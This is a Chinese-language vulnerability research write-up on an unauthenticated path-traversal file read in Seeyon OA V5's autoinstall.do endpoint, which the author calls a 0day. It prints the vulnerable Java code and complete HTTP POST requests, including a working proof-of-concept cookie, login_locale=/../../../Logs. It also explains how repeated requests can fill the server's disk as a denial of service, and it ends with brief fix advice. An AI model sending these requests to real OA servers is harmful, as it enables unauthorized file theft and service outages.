在大型OA系统的安全实践中,前台未授权漏洞因其可直接利用的特性而备受关注。本文将通过一次针对致远OA(V5版本)的漏洞挖掘实例,详细解析一个存在于前台、无需登录即可触发的任意文件读取漏洞(0day),并进一步探讨其可能引发的拒绝服务(DOS)攻击风险。文章将重现从漏洞挖掘思路、代码定位到POC构造与利用的完整过程。
漏洞发现:任意ZIP文件下载
寻找文件下载相关的漏洞,一个直接的思路是搜索设置下载响应头的代码。在Java Web应用中,常见的写法是:
response.setHeader("Content-Disposition",
为此,我们将目标OA系统的Lib目录下的JAR包拖入反编译工具(如jadx-gui)进行全局搜索。

经过筛选,最终定位到一处可疑的代码片段。该片段从Cookie中获取login_locale的值,并将其用于拼接文件路径,最终通过响应流输出文件。

进一步向上追溯,发现localeName变量的来源确实是Cookie,而Cookie内容对攻击者而言是可控的。

POC构造与路径分析
-
定位接口路由:首先,我们需要找到调用上述漏洞函数的前端入口。根据类路径com.seeyon.apps.autoinstall.controller.AutoInstallController,在项目的Spring配置文件中进行搜索。

如图所示,该Controller对应的Bean的name属性值为/autoinstall.do,这就是我们需要访问的接口路由。
-
分析访问权限:跟进AutoInstallController类,发现其继承了BaseController,而BaseController又继承了Spring MVC早期提供的MultiActionController。关键在于,该类上标注了@NeedlessCheckLogin注解,这意味着该接口可以不经登录,在前台直接访问。


MultiActionController允许一个控制器处理多个请求,方法名通过参数指定。在配置文件中搜索methodNameResolver,可以找到参数传递方式:paramName的值为method,因此我们的请求参数应为method=函数名。

-
分析漏洞函数:漏洞函数regInstallDown64的核心逻辑如下(已精简无关代码):
@SetContentType
public ModelAndView regInstallDown64(HttpServletRequest request, HttpServletResponse response) throws Exception {
String localeName = "";
Cookie[] cookies = request.getCookies();
for(Cookie cookie : cookies) {
if("login_locale".equals(cookie.getName())) {
localeName = cookie.getValue();
}
}
// ... 省略从Header获取locale的备用逻辑
String separator = System.getProperty("file.separator");
String fileName = SystemEnvironment.getSystemTempFolder() + separator + "regInstall64_" + request.getServerName() + "_" + localeName + ".zip";
// ... 省略文件生成逻辑(如果文件不存在)
BufferedInputStream br = new BufferedInputStream(new FileInputStream(fileName));
byte[] buf = new byte[1024];
response.setContentType("application/x-msdownload; charset=UTF-8");
response.setHeader("Content-disposition", "attachment;filename=\"SeeyonActivexInstall64_" + localeName + ".zip\"");
OutputStream out = response.getOutputStream();
while((len = br.read(buf)) > 0) {
out.write(buf, 0, len);
}
// ... 省略异常处理和资源关闭
return null;
}
- 正常流程调试:我们先构造一个携带正常
Cookie的数据包,观察文件生成和读取的路径。该OA的上下文路径(contextPath)为/seeyon,因此请求路由为/seeyon/autoinstall.do,参数method=regInstallDown64。
POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=zh_CN;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
method=regInstallDown64

通过调试,可以确定最终读取的文件路径。其中,fileName变量被拼接为:
C:\Seeyon\A8\base\temporary\regInstall64_192.168.127.129_zh_CN.zip

在服务器的C:\Seeyon\A8\base\temporary目录下,确实可以看到生成的对应ZIP文件。

文件内容通过HTTP响应流被下载。

-
漏洞利用:目录穿越:关键在于,代码中未对Cookie中的login_locale值进行任何过滤,特别是没有限制目录穿越字符../。因此,我们可以通过构造login_locale值来实现任意目录下的ZIP文件读取。
假设我们想读取C:\Seeyon\A8\Logs.zip文件。从正常路径C:\Seeyon\A8\base\temporary\回溯到C:\Seeyon\A8\,需要跨越base和temporary两级目录。但注意fileName的拼接规则:regInstall64_192.168.127.129_ + localeName + .zip。如果我们直接传入localeName为../../../Logs,拼接后的路径会变成:
C:\Seeyon\A8\base\temporary\regInstall64_192.168.127.129_../../../Logs.zip
这意味着需要额外跨越一个由regInstall64_192.168.127.129_形成的虚拟目录。因此,最终需要跨越三层目录。
漏洞利用POC如下(构造login_locale=/../../../Logs;,开头的/用于“消化”掉拼接产生的下划线_):
POST /seeyon/autoinstall.do HTTP/1.1
Host: 192.168.127.129
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://192.168.127.129
Referer: http://192.168.127.129/seeyon/main.do?method=main
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: login_locale=/../../../Logs;
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23
method=regInstallDown64

请求成功,响应头中返回Content-disposition: attachment; filename="SeeyonActivexInstall64_/../../../Logs.zip",并下载了Logs.zip文件。
- 漏洞验证:使用成功Payload再次调试,可以清晰看到
fileName的最终路径已成功穿越目录,指向目标ZIP文件。


漏洞延伸:拒绝服务(DOS)攻击
分析漏洞函数发现,当fileName指向的文件不存在时,代码会进入一个创建流程:在临时目录生成一系列文件并打包成指定的fileName。这里的CtpLocalFile是原生File类的封装。

这意味着攻击者可以通过短时间内发送大量不同localeName的请求,诱导系统在指定目录(甚至是系统关键目录)下创建大量无用的ZIP文件,从而占满磁盘空间,实现拒绝服务攻击。
例如,持续发送Cookie: login_locale=/../../../xianzhi;的请求。

在服务器的temporary目录下,可以看到生成了大量以攻击参数命名的ZIP文件,容量巨大。

漏洞防护建议
根本的修复方案是对用户输入的login_locale参数进行严格的过滤和校验,禁止其中出现../等目录穿越字符,或将其限制在明确的白名单字符集内。
总结与思考
本次漏洞挖掘展示了在Java Web应用,特别是使用传统框架如MultiActionController的系统中,因输入验证缺失而导致的安全风险。前台未授权访问点与文件操作功能的结合,极易形成高危漏洞。开发人员应在所有文件路径拼接处实施严格的输入净化,安全测试人员则可重点关注从Cookie、Header等位置获取并用于系统调用的参数。更多关于漏洞原理和防护的深入讨论,欢迎访问云栈社区的安全板块进行交流。